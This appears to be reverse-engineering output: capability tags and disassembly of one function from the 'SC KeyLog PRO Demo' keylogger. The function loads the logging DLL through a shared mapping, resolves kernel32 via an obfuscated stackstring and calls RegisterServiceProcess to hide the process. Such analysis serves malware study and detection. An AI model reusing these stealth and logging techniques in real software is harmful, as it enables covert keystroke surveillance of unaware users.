Function at 0x405561
Capabilities:
Contain obfuscated stackstrings
Create thread
Get common file path
Read file via mapping

Disassembly:
mov eax, 0x405d28
call fcn.004059d0
sub esp, 0x494
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
push 0x40c42c
push dword [ebp + 0x10]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x30], ebx
call sub.MSVCRT.dll__mbsstr
mov edi, eax
lea eax, [ebp - 0x19c]
neg edi
sbb edi, edi
push eax
neg edi
mov dword [ebp - 0x4c], edi
call section..text
add esp, 0xc
lea eax, [ebp - 0x2a0]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x2a0]
push eax
lea eax, [ebp - 0x19c]
push eax
call sub.MSVCRT.dll__mbsicmp
mov esi, eax
push ebx
neg esi
sbb esi, esi
neg esi
call fcn.00404109
add esp, 0xc
cmp eax, 0xffffffff
je 0x4055f9
cmp eax, ebx
je 0x4055f9
cmp edi, ebx
jne 0x4055f9
cmp esi, ebx
jne 0x4055f9
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40593a
lea ecx, [ebp - 0x18]
call fcn.00404743
push 0x48
lea eax, [ebp - 0x98]
push ebx
push eax
mov dword [ebp - 4], ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp + 0x10]
lea ecx, [ebp - 0x18]
mov dword [ebp + 0x10], ebx
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.0040476f
cmp eax, ebx
mov dword [ebp - 0x38], eax
je 0x40592e
cmp esi, ebx
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 1
je 0x40570f
push dword [ebp + 0x10]
lea eax, [ebp - 0x98]
lea ecx, [ebp - 0x18]
push eax
call fcn.00404822
cmp dword [ebp - 0x70], ebx
mov edi, eax
je 0x4056c9
mov eax, dword [ebp - 0x64]
push dword [ebp + 0x10]
mov dword [ebp - 0x24], eax
call sub.MSVCRT.dll_strlen
mov ecx, dword [ebp + 0x10]
lea esi, [eax + ecx + 1]
push esi
mov dword [ebp - 0x28], esi
call sub.MSVCRT.dll_strlen
pop ecx
lea esi, [esi + eax + 1]
pop ecx
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x2c]
push ebx
push eax
push 0x4054b2
push ebx
push ebx
mov dword [ebp - 0x2c], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x70], ebx
je 0x4056c9
cmp esi, ebx
je 0x4056c9
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, ebx
je 0x40592e
cmp dword [ebp - 0x6c], ebx
jne 0x40592e
push edi
push str.failed
push str.Operation
lea eax, [ebp - 0x4a0]
push str._s__s___d_
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0x14
lea eax, [ebp - 0x4a0]
push 0x30
push ebx
push eax
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x40592e
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
mov edi, str.SC_KeyLog_PRO_Demo
push 0x23
push edi
push str.SC_KeyLog_PRO_Demo_will_record_computer_activity_from_this_logon_session._Do_you_want_to_continue__r_n_r_nYES:_log_activity_from_this_session_r_nNO:_do_not_log_activity_r_nCANCEL:_uninstall_the_engine_r_n_r_nThis_message_is_not_displayed_in_the_full_version.
push ebx
call esi
cmp eax, 6
je 0x405758
cmp eax, 2
jne 0x405746
push 0x24
push edi
push str.Are_you_sure_that_you_want_to_uninstall_the_engine_
push ebx
call esi
cmp eax, 6
jne 0x40571a
mov dword [ebp - 0x14], 1
or dword [ebp - 0x40], 0xffffffff
lea eax, [ebp - 0x40]
push 0x4084d8
push eax
call sub.MSVCRT.dll__CxxThrowException
cmp dword [ebp - 0x58], 0xa
jne 0x405770
or dword [ebp - 0x44], 0xffffffff
lea eax, [ebp - 0x44]
push 0x4084d8
push eax
call sub.MSVCRT.dll__CxxThrowException
mov edi, dword [ebp - 0x38]
push str.KLShared
lea eax, [edi + 0x448]
push eax
push ebx
push 4
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x1c], ebx
je 0x4057d3
push ebx
push ebx
push ebx
push 6
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
cmp esi, ebx
je 0x4057cc
lea eax, [ebp - 0x98]
push 0x48
push eax
push esi
call sub.MSVCRT.dll_memcpy
push edi
lea eax, [esi + 0x48]
push dword [ebp + 0x10]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp + 0x10]
lea eax, [ebp - 0x19c]
push eax
lea eax, [ebp - 0x3a4]
push str._s_s.dll
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0x10
lea eax, [ebp - 0x3a4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
mov dword [ebp - 0x30], edi
jne 0x405819
or dword [ebp - 0x3c], 0xffffffff
lea eax, [ebp - 0x3c]
push 0x4084d8
push eax
call sub.MSVCRT.dll__CxxThrowException
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.Init
push edi
call esi
cmp eax, ebx
mov dword [0x40c450], eax
jne 0x405849
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
or dword [ebp - 0x48], 0xffffffff
lea eax, [ebp - 0x48]
push 0x4084d8
push eax
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], 0x6b
push eax
mov byte [ebp - 0x29], 0x6e
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x27], 0x6c
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], bl
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
cmp edi, ebx
je 0x4058a4
push str.RegisterServiceProcess
push edi
call esi
cmp eax, ebx
je 0x40589d
push 1
push ebx
call eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0x34], 1
jmp 0x4058bf
cmp dword [ebp - 0x34], ebx
mov dword [ebp - 4], ebx
je 0x4058e0
push dword [ebp - 0x4c]
push dword [ebp + 0x10]
call dword [0x40c450]
pop ecx
test eax, eax
pop ecx
je 0x4058e0
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0x30], ebx
je 0x4058ee
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [ebp - 0x1c], ebx
je 0x4058fc
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0x10], ebx
je 0x40590a
push dword [ebp + 0x10]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
cmp dword [ebp - 0x14], ebx
je 0x40592e
lea ecx, [ebp - 0x14]
call fcn.00404743
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 3
call fcn.004053b0
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], bl
call fcn.00404768
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.00404768
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
leave
ret 0x10